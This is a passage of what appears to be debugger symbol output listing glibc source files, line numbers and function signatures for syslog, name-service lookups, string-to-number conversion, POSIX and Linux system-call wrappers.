354: static const struct sockaddr **nameserver_list_emplace(struct nameserver_list *);
275: static void search_list_add__(struct search_list *, const char *);

File ../misc/sbrk.c:
31: void *__sbrk(intptr_t);

File ../misc/syslog.c:
112: void __syslog(int, const char *, …);
131: void __syslog_chk(int, int, const char *, …);
124: void __vsyslog(int, const char *, struct __va_list_tag *);
141: void __vsyslog_chk(int, int, const char *, struct __va_list_tag *);
147: void __vsyslog_internal(int, const char *, struct __va_list_tag *, unsigned int);
413: void closelog(void);
382: void openlog(const char *, int, int);
429: int setlogmask(int);
92: static void cancel_handler(void *);
402: static void closelog_internal(void);
335: static void openlog_internal(const char *, int, int);

File ../nptl/sigaction.c:
22: int __GI___sigaction(int, const struct sigaction *, struct sigaction *);
22: int __sigaction(int, const struct sigaction *, struct sigaction *);

File ../nss/getXXbyYY.c:
93: struct aliasent *getaliasbyname(const char *);
93: struct group *getgrgid(gid_t);
93: struct group *getgrnam(const char *);
93: struct hostent *gethostbyaddr(const void *, socklen_t, int);
93: struct hostent *gethostbyname(const char *);
93: struct hostent *gethostbyname2(const char *, int);
93: struct netent *getnetbyaddr(uint32_t, int);
93: struct netent *getnetbyname(const char *);
93: struct protoent *getprotobyname(const char *);
93: struct protoent *getprotobynumber(int);
93: struct passwd *getpwnam(const char *);
93: struct passwd *getpwuid(uid_t);
93: struct rpcent *getrpcbyname(const char *);
93: struct rpcent *getrpcbynumber(int);
93: struct servent *getservbyname(const char *, const char *);
93: struct servent *getservbyport(int, const char *);
93: struct sgrp *getsgnam(const char *);
93: struct spwd *getspnam(const char *);

File ../nss/getXXbyYY_r.c:
188: int __getaliasbyname_r(const char *, struct aliasent *, char *, size_t, struct aliasent **);
188: int __getgrgid_r(gid_t, struct group *, char *, size_t, struct group **);
188: int __getgrnam_r(const char *, struct group *, char *, size_t, struct group **);
188: int __gethostbyaddr_r(const void *, socklen_t, int, struct hostent *, char *, size_t, struct hostent **, int *);
188: int __gethostbyname2_r(const char *, int, struct hostent *, char *, size_t, struct hostent **, int *);
188: int __gethostbyname_r(const char *, struct hostent *, char *, size_t, struct hostent **, int *);
188: int __getnetbyaddr_r(uint32_t, int, struct netent *, char *, size_t, struct netent **, int *);
188: int __getnetbyname_r(const char *, struct netent *, char *, size_t, struct netent **, int *);
188: int __getprotobyname_r(const char *, struct protoent *, char *, size_t, struct protoent **);
188: int __getprotobynumber_r(int, struct protoent *, char *, size_t, struct protoent **);
188: int __getpwnam_r(const char *, struct passwd *, char *, size_t, struct passwd **);
188: int __getpwuid_r(uid_t, struct passwd *, char *, size_t, struct passwd **);
188: int __getrpcbyname_r(const char *, struct rpcent *, char *, size_t, struct rpcent **);
188: int __getrpcbynumber_r(int, struct rpcent *, char *, size_t, struct rpcent **);
188: int __getservbyname_r(const char *, const char *, struct servent *, char *, size_t, struct servent **);
188: int __getservbyport_r(int, const char *, struct servent *, char *, size_t, struct servent **);
188: int __getsgnam_r(const char *, struct sgrp *, char *, size_t, struct sgrp **);
188: int __getspnam_r(const char *, struct spwd *, char *, size_t, struct spwd **);

File ../nss/getXXent.c:
69: struct aliasent *getaliasent(void);
69: struct group *getgrent(void);
69: struct hostent *gethostent(void);
69: struct netent *getnetent(void);
69: struct protoent *getprotoent(void);
69: struct passwd *getpwent(void);
69: struct rpcent *getrpcent(void);
69: struct servent *getservent(void);
69: struct sgrp *getsgent(void);
69: struct spwd *getspent(void);

File ../nss/getXXent_r.c:
153: int __getaliasent_r(struct aliasent *, char *, size_t, struct aliasent **);
153: int __getgrent_r(struct group *, char *, size_t, struct group **);
153: int __gethostent_r(struct hostent *, char *, size_t, struct hostent **, int *);
153: int __getnetent_r(struct netent *, char *, size_t, struct netent **, int *);
153: int __getprotoent_r(struct protoent *, char *, size_t, struct protoent **);
153: int __getpwent_r(struct passwd *, char *, size_t, struct passwd **);
153: int __getrpcent_r(struct rpcent *, char *, size_t, struct rpcent **);
153: int __getservent_r(struct servent *, char *, size_t, struct servent **);
153: int __getsgent_r(struct sgrp *, char *, size_t, struct sgrp **);
153: int __getspent_r(struct spwd *, char *, size_t, struct spwd **);
135: void endaliasent(void);
135: void endgrent(void);
135: void endhostent(void);
135: void endnetent(void);
135: void endprotoent(void);
135: void endpwent(void);
135: void endrpcent(void);
135: void endservent(void);
135: void endsgent(void);
135: void endspent(void);
120: void setaliasent(void);
120: void setgrent(void);
120: void sethostent(int);
120: void setnetent(int);
120: void setprotoent(int);
120: void setpwent(void);
120: void setrpcent(int);
120: void setservent(int);
120: void setsgent(void);
120: void setspent(void);

File ../posix/glob.c:
287: int __glob(const char *, int, int (*)(const char *, int), glob_t *);
287: int __glob_lstat_compat(const char *, int, int (*)(const char *, int), glob_t *);
1171: static int collated_compare(const void *, const void *);
1245: static int glob_in_dir(const char *, const char *, int, int (*)(const char *, int), glob_t *, size_t);
240: static _Bool is_dir(const char *, int, const glob_t *);
251: static const char *next_brace_sub(const char *, int);
1191: static int prefix_array(const char *, char **, size_t);

File ../posix/globfree.c:
28: void __GI_globfree(glob_t *);

File ../posix/sched_cpucount.c:
22: static int generic_cpucount(size_t, const cpu_set_t *);
22: static int popcount_cpucount(size_t, const cpu_set_t *);

File ../resolv/res_use_inet6.h:
43: static void __resolv_context_enable_inet6(struct resolv_context *, _Bool);

File ../setjmp/longjmp.c:
27: void __libc_siglongjmp(struct __jmp_buf_tag *, int);
27: void __longjmp_chk(struct __jmp_buf_tag *, int);

File ../signal/allocrtsig.c:
51: int __GI___libc_current_sigrtmax(void);
38: int __GI___libc_current_sigrtmin(void);
66: int __libc_allocate_rtsig(int);

File ../signal/sigreturn.c:
22: int __sigreturn(struct sigcontext *);

File ../socket/sa_len.c:
61: int __GI___libc_sa_len(sa_family_t);

File ../stdio-common/printf_fphex.c:
92: int __printf_fphex(FILE *, const struct printf_info *, const void * const *);

File ../stdlib/gmp.h:
474: mp_limb_t __mpn_add(mp_ptr, mp_srcptr, mp_size_t, mp_srcptr, mp_size_t);
432: mp_limb_t __mpn_add_1(mp_ptr, mp_srcptr, mp_size_t, mp_limb_t);
545: mp_limb_t __mpn_sub(mp_ptr, mp_srcptr, mp_size_t, mp_srcptr, mp_size_t);
503: mp_limb_t __mpn_sub_1(mp_ptr, mp_srcptr, mp_size_t, mp_limb_t);

File ../stdlib/labs.c:
25: long labs(long);

File ../stdlib/ldiv.c:
23: ldiv_t ldiv(long, long);

File ../stdlib/strfrom-skeleton.c:
37: int strfromf128(char *, size_t, const char *, _Float128);

File ../stdlib/strtod.c:
68: _Float128 __GI___strtof128_internal(const char *, char **, int);
68: double __GI___wcstod_internal(const wchar_t *, wchar_t **, int);
68: _Float128 __GI___wcstof128_internal(const wchar_t *, wchar_t **, int);
68: float __GI___wcstof_internal(const wchar_t *, wchar_t **, int);
68: long double __GI___wcstold_internal(const wchar_t *, wchar_t **, int);
81: _Float128 __GI_strtof128(const char *, char **);
81: double __GI_wcstod(const wchar_t *, wchar_t **);
81: float __GI_wcstof(const wchar_t *, wchar_t **);
81: _Float128 __GI_wcstof128(const wchar_t *, wchar_t **);
81: long double __GI_wcstold(const wchar_t *, wchar_t **);

File ../stdlib/strtod_l.c:
506: _Float128 __GI_____strtof128_l_internal(const char *, char **, int, locale_t);
506: long double __GI_____strtold_l_internal(const char *, char **, int, locale_t);
1781: _Float128 __GI___strtof128_l(const char *, char **, locale_t);
1781: long double __GI___strtold_l(const char *, char **, locale_t);
1781: double __GI___wcstod_l(const wchar_t *, wchar_t **, locale_t);
1781: _Float128 __GI___wcstof128_l(const wchar_t *, wchar_t **, locale_t);
1781: float __GI___wcstof_l(const wchar_t *, wchar_t **, locale_t);
1781: long double __GI___wcstold_l(const wchar_t *, wchar_t **, locale_t);
506: double ____wcstod_l_internal(const wchar_t *, wchar_t **, int, locale_t);
506: _Float128 ____wcstof128_l_internal(const wchar_t *, wchar_t **, int, locale_t);
506: float ____wcstof_l_internal(const wchar_t *, wchar_t **, int, locale_t);
506: long double ____wcstold_l_internal(const wchar_t *, wchar_t **, int, locale_t);
214: static long double round_and_return(mp_limb_t *, intmax_t, int, mp_limb_t, mp_size_t, int);
365: static const wchar_t *str_to_mpn(const wchar_t *, int, mp_limb_t *, mp_size_t *, intmax_t *);

File ../stdlib/strtod_nan_main.c:
33: _Float128 __GI___strtof128_nan(const char *, char **, char);
33: double __GI___wcstod_nan(const wchar_t *, wchar_t **, wchar_t);
33: _Float128 __GI___wcstof128_nan(const wchar_t *, wchar_t **, wchar_t);
33: float __GI___wcstof_nan(const wchar_t *, wchar_t **, wchar_t);
33: long double __GI___wcstold_nan(const wchar_t *, wchar_t **, wchar_t);

File ../stdlib/strtol.c:
95: long __GI___strtol_internal(const char *, char **, int, int);
95: unsigned long __GI___strtoul_internal(const char *, char **, int, int);
95: long __GI___wcstol_internal(const wchar_t *, wchar_t **, int, int);
95: unsigned long __GI___wcstoul_internal(const wchar_t *, wchar_t **, int, int);
104: long __strtol(const char *, char **, int);
104: unsigned long __strtoul(const char *, char **, int);
104: long __wcstol(const wchar_t *, wchar_t **, int);
104: unsigned long __wcstoul(const wchar_t *, wchar_t **, int);

File ../stdlib/strtol_l.c:
224: long __GI_____strtol_l_internal(const char *, char **, int, int, locale_t);
224: unsigned long __GI_____strtoul_l_internal(const char *, char **, int, int, locale_t);
544: long __GI___strtol_l(const char *, char **, int, locale_t);
544: unsigned long __GI___strtoul_l(const char *, char **, int, locale_t);
544: long __GI___wcstol_l(const wchar_t *, wchar_t **, int, locale_t);
544: unsigned long __GI___wcstoul_l(const wchar_t *, wchar_t **, int, locale_t);
224: long ____wcstol_l_internal(const wchar_t *, wchar_t **, int, int, locale_t);
224: unsigned long ____wcstoul_l_internal(const wchar_t *, wchar_t **, int, int, locale_t);

File ../string/stpncpy.c:
40: char *__stpncpy_sse2(char *, const char *, size_t);

File ../string/str-two-way.h:
390: static char *two_way_long_needle(const unsigned char *, size_t, const unsigned char *, size_t);

File ../string/strcasecmp.c:
46: int __strcasecmp_l_nonascii(const char *, const char *, locale_t);

File ../string/strcoll.c:
32: int __GI___wcscoll(const wchar_t *, const wchar_t *);

File ../string/strcoll_l.c:
258: int __GI___wcscoll_l(const wchar_t *, const wchar_t *, locale_t);

File ../string/strncase.c:
49: int __strncasecmp_l_nonascii(const char *, const char *, size_t, locale_t);

File ../string/strncat.c:
27: char *__strncat_sse2(char *, const char *, size_t);

File ../string/strncpy.c:
27: char *__strncpy_sse2(char *, const char *, size_t);

File ../string/strstr.c:
76: char *__strstr_sse2(const char *, const char *);

File ../string/strxfrm.c:
29: size_t wcsxfrm(wchar_t *, const wchar_t *, size_t);

File ../string/strxfrm_l.c:
668: size_t __GI___wcsxfrm_l(wchar_t *, const wchar_t *, size_t, locale_t);

File ../sysdeps/generic/utmp-equal.h:
28: static int __utmp_equal(const struct utmp *, const struct utmp *);

File ../sysdeps/gnu/getutmp.c:
29: void getutmp(const struct utmpx *, struct utmp *);

File ../sysdeps/gnu/unwind-resume.c:
59: void _Unwind_Resume(struct _Unwind_Exception *);
73: _Unwind_Reason_Code __gcc_personality_v0(int, _Unwind_Action, _Unwind_Exception_Class, struct _Unwind_Exception *, struct _Unwind_Context *);
33: void __libgcc_s_init(void);

File ../sysdeps/i386/fpu/s_isinfl.c:
20: int __GI___isinfl(long double);

File ../sysdeps/i386/fpu/s_isnanl.c:
29: int __GI___isnanl(long double);

File ../sysdeps/ieee754/dbl-64/dbl2mpn.c:
30: mp_size_t __mpn_extract_double(mp_ptr, mp_size_t, int *, int *, double);

File ../sysdeps/ieee754/dbl-64/mpn2dbl.c:
28: double __mpn_construct_double(mp_srcptr, int, int);

File ../sysdeps/ieee754/dbl-64/wordsize-64/s_finite.c:
25: int __GI___finite(double);

File ../sysdeps/ieee754/dbl-64/wordsize-64/s_frexp.c:
36: double __frexp(double, int *);

File ../sysdeps/ieee754/dbl-64/wordsize-64/s_isinf.c:
18: int __GI___isinf(double);

File ../sysdeps/ieee754/dbl-64/wordsize-64/s_isnan.c:
25: int __GI___isnan(double);

File ../sysdeps/ieee754/dbl-64/wordsize-64/s_modf.c:
31: double __modf(double, double *);

File ../sysdeps/ieee754/dbl-64/wordsize-64/s_scalbn.c:
29: double __scalbn(double, int);

File ../sysdeps/ieee754/float128/../ldbl-128/ldbl2mpn.c:
33: mp_size_t __mpn_extract_float128(mp_ptr, mp_size_t, int *, int *, _Float128);

File ../sysdeps/ieee754/float128/../ldbl-128/s_copysignl.c:
31: _Float128 __copysignf128(_Float128, _Float128);

File ../sysdeps/ieee754/float128/../ldbl-128/s_finitel.c:
28: int __GI___finitef128(_Float128);

File ../sysdeps/ieee754/float128/../ldbl-128/s_frexpl.c:
37: _Float128 __frexpf128(_Float128, int *);

File ../sysdeps/ieee754/float128/../ldbl-128/s_isinfl.c:
20: int __GI___isinff128(_Float128);

File ../sysdeps/ieee754/float128/../ldbl-128/s_isnanl.c:
28: int __GI___isnanf128(_Float128);

File ../sysdeps/ieee754/float128/../ldbl-128/s_modfl.c:
36: _Float128 __modff128(_Float128, _Float128 *);

File ../sysdeps/ieee754/float128/../ldbl-128/s_scalbnl.c:
37: _Float128 __scalbnf128(_Float128, int);

File ../sysdeps/ieee754/float128/mpn2float128.c:
31: _Float128 __mpn_construct_float128(mp_srcptr, int, int);

File ../sysdeps/ieee754/float128/s_signbitf128.c:
26: int __GI___signbitf128(_Float128);

File ../sysdeps/ieee754/flt-32/mpn2flt.c:
28: float __mpn_construct_float(mp_srcptr, int, int);

File ../sysdeps/ieee754/flt-32/s_finitef.c:
34: int __GI___finitef(float);

File ../sysdeps/ieee754/flt-32/s_frexpf.c:
27: float __frexpf(float, int *);

File ../sysdeps/ieee754/flt-32/s_isinff.c:
19: int __GI___isinff(float);

File ../sysdeps/ieee754/flt-32/s_isnanf.c:
29: int __GI___isnanf(float);

File ../sysdeps/ieee754/flt-32/s_modff.c:
23: float __modff(float, float *);

File ../sysdeps/ieee754/flt-32/s_scalbnf.c:
26: float __scalbnf(float, int);

File ../sysdeps/ieee754/ldbl-96/mpn2ldbl.c:
29: long double __mpn_construct_long_double(mp_srcptr, int, int);

File ../sysdeps/ieee754/ldbl-96/s_frexpl.c:
44: long double __frexpl(long double, int *);

File ../sysdeps/ieee754/ldbl-96/s_modfl.c:
34: long double __modfl(long double, long double *);

File ../sysdeps/ieee754/ldbl-96/s_signbitl.c:
23: int __signbitl(long double);

File ../sysdeps/nptl/fork.c:
48: pid_t __libc_fork(void);

File ../sysdeps/nptl/jmp-unwind.c:
28: void _longjmp_unwind(struct __jmp_buf_tag *, int);

File ../sysdeps/posix/clock_getres.c:
79: int __clock_getres(clockid_t, struct timespec *);

File ../sysdeps/posix/closedir.c:
30: int __closedir(DIR *);

File ../sysdeps/posix/ctermid.c:
27: char *ctermid(char *);

File ../sysdeps/posix/cuserid.c:
28: char *cuserid(char *);

File ../sysdeps/posix/dirfd.c:
25: int __dirfd(DIR *);

File ../sysdeps/posix/euidaccess.c:
120: int __euidaccess(const char *, int);

File ../sysdeps/posix/fdopendir.c:
28: DIR *__fdopendir(int);

File ../sysdeps/posix/gai_strerror.c:
57: const char *__GI_gai_strerror(int);

File ../sysdeps/posix/getaddrinfo.c:
2526: void __GI_freeaddrinfo(struct addrinfo *);
2170: int __GI_getaddrinfo(const char *, const char *, const struct addrinfo *, struct addrinfo **);
198: static _Bool convert_hostent_to_gaih_addrtuple(int, struct hostent *, struct gaih_addrtuple **, const struct addrinfo *);
1702: static void fini(void);
1794: static void gaiconf_init(void);
342: static int gaih_inet(const char *, const struct gaih_service *, const struct addrinfo *, struct addrinfo **, unsigned int *, struct scratch_buffer *);
159: static int gaih_inet_serv(const char *, const struct gaih_typeproto *, struct gaih_servtuple *, struct scratch_buffer *, const struct addrinfo *);
1188: static int get_scope(const struct sockaddr_in6 *);
1645: static int in6aicmp(const void *, const void *);
1321: static int match_prefix(const struct sockaddr_in6 *, const struct prefixentry *, int);
1766: static int prefixcmp(const void *, const void *);
1403: static int rfc3484_sort(const void *, const void *, void *);
1780: static int scopecmp(const void *, const void *);

File ../sysdeps/posix/getdtsz.c:
25: int __getdtablesize(void);

File ../sysdeps/posix/gethostname.c:
27: int __gethostname(char *, size_t);

File ../sysdeps/posix/isatty.c:
23: int __isatty(int);

File ../sysdeps/posix/isfdtype.c:
25: int isfdtype(int, int);

File ../sysdeps/posix/killpg.c:
26: int killpg(__pid_t, int);

File ../sysdeps/posix/libc_fatal.c:
187: void __GI___libc_fatal(const char *);
67: void __libc_message(enum __libc_message_action, const char *, …);

File ../sysdeps/posix/mkfifo.c:
25: int mkfifo(const char *, mode_t);

File ../sysdeps/posix/mkfifoat.c:
24: int mkfifoat(int, const char *, mode_t);

File ../sysdeps/posix/nice.c:
25: int nice(int);

File ../sysdeps/posix/opendir.c:
97: DIR *__alloc_dir(int, _Bool, int, const struct stat64 *);
87: DIR *__opendir(const char *);
75: DIR *__opendirat(int, const char *);
50: static DIR *opendir_tail(int);

File ../sysdeps/posix/posix_fallocate.c:
31: static int internal_fallocate(int, __off_t, __off_t);

File ../sysdeps/posix/posix_fallocate64.c:
31: static int internal_fallocate64(int, __off64_t, __off64_t);

File ../sysdeps/posix/profil.c:
64: int __profil(u_short *, size_t, size_t, u_int);

File ../sysdeps/posix/readdir.c:
38: struct dirent64 *__GI___readdir64(DIR *);
38: struct dirent64 *__readdir64(DIR *);

File ../sysdeps/posix/readdir_r.c:
38: int __readdir64_r(DIR *, struct dirent64 *, struct dirent64 **);

File ../sysdeps/posix/remove.c:
30: int __GI_remove(const char *);

File ../sysdeps/posix/rewinddir.c:
26: void __GI___rewinddir(DIR *);
26: void __rewinddir(DIR *);

File ../sysdeps/posix/seekdir.c:
27: void seekdir(DIR *, long);

File ../sysdeps/posix/sigblock.c:
25: int __GI___sigblock(int);

File ../sysdeps/posix/sigignore.c:
28: int sigignore(int);

File ../sysdeps/posix/sigintr.c:
27: int siginterrupt(int, int);

File ../sysdeps/posix/signal.c:
29: __sighandler_t __bsd_signal(int, __sighandler_t);

File ../sysdeps/posix/sigpause.c:
28: int __GI___sigpause(int, int);
54: int __default_sigpause(int);
68: int __xpg_sigpause(int);

File ../sysdeps/posix/sigset.c:
27: __sighandler_t sigset(int, __sighandler_t);

File ../sysdeps/posix/sigsetmask.c:
25: int __sigsetmask(int);

File ../sysdeps/posix/sleep.c:
33: unsigned int __sleep(unsigned int);

File ../sysdeps/posix/sprofil.c:
282: int __sprofil(struct prof *, int, struct timeval *, unsigned int);
194: static int insert(int, unsigned long, unsigned long, struct prof *, int);
269: static int pcmp(const void *, const void *);
108: static void profil_count(void *, int);

File ../sysdeps/posix/sysconf.c:
1209: static long __sysconf_check_spec(const char *);

File ../sysdeps/posix/system.c:
189: int __libc_system(const char *);
78: static void cancel_handler(void *);
98: static int do_system(const char *);

File ../sysdeps/posix/sysv_signal.c:
37: __sighandler_t __sysv_signal(int, __sighandler_t);

File ../sysdeps/posix/telldir.c:
24: long telldir(DIR *);

File ../sysdeps/posix/tempname.c:
192: int __gen_tempname(char *, int, int, int);
117: int __path_search(char *, size_t, const char *, const char *, int);
104: static int direxists(const char *);

File ../sysdeps/posix/ulimit.c:
36: long __ulimit(int, …);

File ../sysdeps/posix/usleep.c:
24: int usleep(useconds_t);

File ../sysdeps/pthread/flockfile.c:
25: void __flockfile(FILE *);

File ../sysdeps/pthread/ftrylockfile.c:
26: int __ftrylockfile(FILE *);

File ../sysdeps/pthread/funlockfile.c:
25: void __funlockfile(FILE *);

File ../sysdeps/unix/bsd/ftime.c:
22: int ftime(struct timeb *);

File ../sysdeps/unix/bsd/getpt.c:
44: int __bsd_getpt(void);

File ../sysdeps/unix/bsd/tcgetpgrp.c:
25: pid_t __GI_tcgetpgrp(int);

File ../sysdeps/unix/bsd/tcsetpgrp.c:
25: int tcsetpgrp(int, pid_t);

File ../sysdeps/unix/bsd/ualarm.c:
27: useconds_t ualarm(useconds_t, useconds_t);

File ../sysdeps/unix/bsd/wait3.c:
28: pid_t __wait3(int *, int, struct rusage *);

File ../sysdeps/unix/clock_gettime.c:
92: int __GI___clock_gettime(clockid_t, struct timespec *);

File ../sysdeps/unix/clock_settime.c:
74: int __clock_settime(clockid_t, const struct timespec *);

File ../sysdeps/unix/get_child_max.c:
25: long __get_child_max(void);

File ../sysdeps/unix/getlogin.c:
36: static char *getlogin_fd0(void);

File ../sysdeps/unix/getlogin_r.c:
37: static int getlogin_r_fd0(char *, size_t);

File ../sysdeps/unix/grantpt.c:
100: int grantpt(int);

File ../sysdeps/unix/sockatmark.c:
23: int sockatmark(int);

File ../sysdeps/unix/stime.c:
26: int stime(const time_t *);

File ../sysdeps/unix/sysv/linux/_exit.c:
26: void __GI__exit(int);

File ../sysdeps/unix/sysv/linux/accept.c:
23: int __libc_accept(int, __SOCKADDR_ARG, socklen_t *);

File ../sysdeps/unix/sysv/linux/accept4.c:
29: int accept4(int, __SOCKADDR_ARG, socklen_t *, int);

File ../sysdeps/unix/sysv/linux/access.c:
24: int __access(const char *, int);

File ../sysdeps/unix/sysv/linux/adjtime.c:
52: int __adjtime(const struct timeval *, struct timeval *);

File ../sysdeps/unix/sysv/linux/alphasort64.c:
24: int __alphasort64(const struct dirent64 **, const struct dirent64 **);

File ../sysdeps/unix/sysv/linux/check_native.c:
41: void __check_native(uint32_t, int *, uint32_t, int *);

File ../sysdeps/unix/sysv/linux/check_pf.c:
298: void __check_pf(_Bool *, _Bool *, struct in6addrinfo **, size_t *);
372: void __free_in6ai(struct in6addrinfo *);
365: static void freecache(void);

File ../sysdeps/unix/sysv/linux/clock.c:
24: clock_t clock(void);

File ../sysdeps/unix/sysv/linux/clock_getcpuclockid.c:
25: int __clock_getcpuclockid(pid_t, clockid_t *);

File ../sysdeps/unix/sysv/linux/clock_nanosleep.c:
28: int __clock_nanosleep(clockid_t, int, const struct timespec *, struct timespec *);

File ../sysdeps/unix/sysv/linux/close.c:
25: int __GI___close(int);

File ../sysdeps/unix/sysv/linux/close_nocancel.c:
24: int __GI___close_nocancel(int);

File ../sysdeps/unix/sysv/linux/cmsg_nxthdr.c:
24: struct cmsghdr *__GI___cmsg_nxthdr(struct msghdr *, struct cmsghdr *);

File ../sysdeps/unix/sysv/linux/connect.c:
23: int __libc_connect(int, __CONST_SOCKADDR_ARG, socklen_t);

File ../sysdeps/unix/sysv/linux/copy_file_range.c:
24: ssize_t copy_file_range(int, __off64_t *, int, __off64_t *, size_t, unsigned int);

File ../sysdeps/unix/sysv/linux/creat64.c:
25: int __creat64(const char *, mode_t);

File ../sysdeps/unix/sysv/linux/dl-execstack.c:
32: int __GI__dl_make_stack_executable(void **);

File ../sysdeps/unix/sysv/linux/dl-openat64.c:
26: int openat64(int, const char *, int, …);

File ../sysdeps/unix/sysv/linux/dl-origin.c:
35: const char *_dl_get_origin(void);

File ../sysdeps/unix/sysv/linux/dl-sysdep.c:
45: int _dl_discover_osversion(void);

File ../sysdeps/unix/sysv/linux/dl-vdso.c:
24: void *_dl_vdso_vsym(const char *, const struct r_found_version *);

File ../sysdeps/unix/sysv/linux/epoll_pwait.c:
38: int __GI_epoll_pwait(int, struct epoll_event *, int, int, const sigset_t *);

File ../sysdeps/unix/sysv/linux/epoll_wait.c:
27: int epoll_wait(int, struct epoll_event *, int, int);

File ../sysdeps/unix/sysv/linux/eventfd_read.c:
24: int eventfd_read(int, eventfd_t *);

File ../sysdeps/unix/sysv/linux/eventfd_write.c:
24: int eventfd_write(int, eventfd_t);

File ../sysdeps/unix/sysv/linux/faccessat.c:
31: int faccessat(int, const char *, int, int);

File ../sysdeps/unix/sysv/linux/fallocate64.c:
25: int fallocate64(int, int, __off64_t, __off64_t);

File ../sysdeps/unix/sysv/linux/fchmodat.c:
30: int fchmodat(int, const char *, mode_t, int);

File ../sysdeps/unix/sysv/linux/fcntl64.c:
37: int __GI___libc_fcntl64(int, int, …);

File ../sysdeps/unix/sysv/linux/fcntl_nocancel.c:
34: int __GI___fcntl64_nocancel(int, int, …);
50: int __fcntl64_nocancel_adjusted(int, int, void *);

File ../sysdeps/unix/sysv/linux/fdatasync.c:
26: int fdatasync(int);

File ../sysdeps/unix/sysv/linux/fexecve.c:
33: int fexecve(int, char * const *, char * const *);

File ../sysdeps/unix/sysv/linux/fpathconf.c:
31: long __fpathconf(int, int);

File ../sysdeps/unix/sysv/linux/fsync.c:
25: int fsync(int);

File ../sysdeps/unix/sysv/linux/ftruncate64.c:
28: int __ftruncate64(int, off64_t);

File ../sysdeps/unix/sysv/linux/futimens.c:
32: int futimens(int, const struct timespec *);

File ../sysdeps/unix/sysv/linux/futimes.c:
35: int __futimes(int, const struct timeval *);

File ../sysdeps/unix/sysv/linux/futimesat.c:
32: int futimesat(int, const char *, const struct timeval *);

File ../sysdeps/unix/sysv/linux/gai_sigqueue.c:
33: int __gai_sigqueue(int, const union sigval, pid_t);

File ../sysdeps/unix/sysv/linux/gentempfd.c:
25: int __GI___gen_tempfd(int);

File ../sysdeps/unix/sysv/linux/getclktck.c:
28: int __getclktck(void);

File ../sysdeps/unix/sysv/linux/getcpu.c:
28: int __GI___getcpu(unsigned int *, unsigned int *);

File ../sysdeps/unix/sysv/linux/getcwd.c:
46: char *__getcwd(char *, size_t);

File ../sysdeps/unix/sysv/linux/getdents64.c:
25: ssize_t __getdents64(int, char *, size_t);

File ../sysdeps/unix/sysv/linux/getdirentries64.c:
25: ssize_t getdirentries64(int, char *, size_t, off64_t *);

File ../sysdeps/unix/sysv/linux/getentropy.c:
28: int getentropy(void *, size_t);

File ../sysdeps/unix/sysv/linux/gethostid.c:
70: long gethostid(void);
30: int sethostid(long);

File ../sysdeps/unix/sysv/linux/getipv4sourcefilter.c:
31: int getipv4sourcefilter(int, struct in_addr, struct in_addr, uint32_t *, uint32_t *, struct in_addr *);

File ../sysdeps/unix/sysv/linux/getloadavg.c:
32: int getloadavg(double *, int);

File ../sysdeps/unix/sysv/linux/getlogin.c:
32: char *getlogin(void);

File ../sysdeps/unix/sysv/linux/getlogin_r.c:
111: int __GI___getlogin_r(char *, size_t);
36: int __getlogin_r_loginuid(char *, size_t);

File ../sysdeps/unix/sysv/linux/getpagesize.c:
26: int __GI___getpagesize(void);

File ../sysdeps/unix/sysv/linux/getpriority.c:
35: int __GI___getpriority(enum __priority_which, id_t);

File ../sysdeps/unix/sysv/linux/getpt.c:
87: int __getpt(void);
38: int __posix_openpt(int);

File ../sysdeps/unix/sysv/linux/getrandom.c:
28: ssize_t getrandom(void *, size_t, unsigned int);

File ../sysdeps/unix/sysv/linux/getrlimit64.c:
36: int __GI___getrlimit64(enum __rlimit_resource, struct rlimit64 *);

File ../sysdeps/unix/sysv/linux/getsourcefilter.c:
62: int __get_sol(int, socklen_t);
92: int getsourcefilter(int, uint32_t, const struct sockaddr *, socklen_t, uint32_t *, uint32_t *, struct sockaddr_storage *);

File ../sysdeps/unix/sysv/linux/getsysstats.c:
329: long __GI___get_avphys_pages(void);
126: int __GI___get_nprocs(void);
236: int __GI___get_nprocs_conf(void);
318: long __GI___get_phys_pages(void);
73: static char *next_line(int, char * const, char **, char **, char * const);
294: static long sysinfo_mempages(unsigned long, unsigned int);

File ../sysdeps/unix/sysv/linux/if_index.c:
72: void __GI___if_freenameindex(struct if_nameindex *);
34: unsigned int __GI___if_nametoindex(const char *);
218: char *__if_indextoname(unsigned int, char *);
203: struct if_nameindex *__if_nameindex(void);

File ../sysdeps/unix/sysv/linux/ifaddrs.c:
849: void __GI___freeifaddrs(struct ifaddrs *);
833: int __GI___getifaddrs(struct ifaddrs **);
244: void __netlink_close(struct netlink_handle *);
74: void __netlink_free_handle(struct netlink_handle *);
254: int __netlink_open(struct netlink_handle *);
126: int __netlink_request(struct netlink_handle *, int);
317: static int getifaddrs_internal(struct ifaddrs **);

File ../sysdeps/unix/sysv/linux/ifreq.c:
23: void __ifreq(struct ifreq **, int *, int);

File ../sysdeps/unix/sysv/linux/internal_statvfs.c:
48: void __internal_statvfs(const char *, struct statvfs *, struct statfs *, int);

File ../sysdeps/unix/sysv/linux/libc_fatal.c:
41: static void backtrace_and_maps(_Bool, int, int);

File ../sysdeps/unix/sysv/linux/lseek64.c:
27: off64_t __lseek64(int, off64_t, int);

File ../sysdeps/unix/sysv/linux/lutimes.c:
28: int lutimes(const char *, const struct timeval *);

File ../sysdeps/unix/sysv/linux/mlock2.c:
23: int mlock2(const void *, size_t, unsigned int);

File ../sysdeps/unix/sysv/linux/mmap64.c:
47: void *__GI___mmap64(void *, size_t, int, int, int, off64_t);
47: void *__mmap64(void *, size_t, int, int, int, off64_t);

File ../sysdeps/unix/sysv/linux/msgctl.c:
30: int __new_msgctl(int, int, struct msqid_ds *);

File ../sysdeps/unix/sysv/linux/msgget.c:
28: int msgget(key_t, int);

File ../sysdeps/unix/sysv/linux/msgrcv.c:
24: ssize_t __libc_msgrcv(int, void *, size_t, long, int);

File ../sysdeps/unix/sysv/linux/msgsnd.c:
24: int __libc_msgsnd(int, const void *, size_t, int);

File ../sysdeps/unix/sysv/linux/msync.c:
23: int msync(void *, size_t, int);

File ../sysdeps/unix/sysv/linux/nanosleep.c:
25: int __GI___nanosleep(const struct timespec *, struct timespec *);

File ../sysdeps/unix/sysv/linux/nanosleep_nocancel.c:
24: int __GI___nanosleep_nocancel(const struct timespec *, struct timespec *);

File ../sysdeps/unix/sysv/linux/netlink_assert_response.c:
42: void __GI___netlink_assert_response(int, ssize_t);

File ../sysdeps/unix/sysv/linux/ntp_gettime.c:
30: int ntp_gettime(struct ntptimeval *);

File ../sysdeps/unix/sysv/linux/ntp_gettimex.c:
26: int ntp_gettimex(struct ntptimeval *);

File ../sysdeps/unix/sysv/linux/open64.c:
36: int __libc_open64(const char *, int, …);

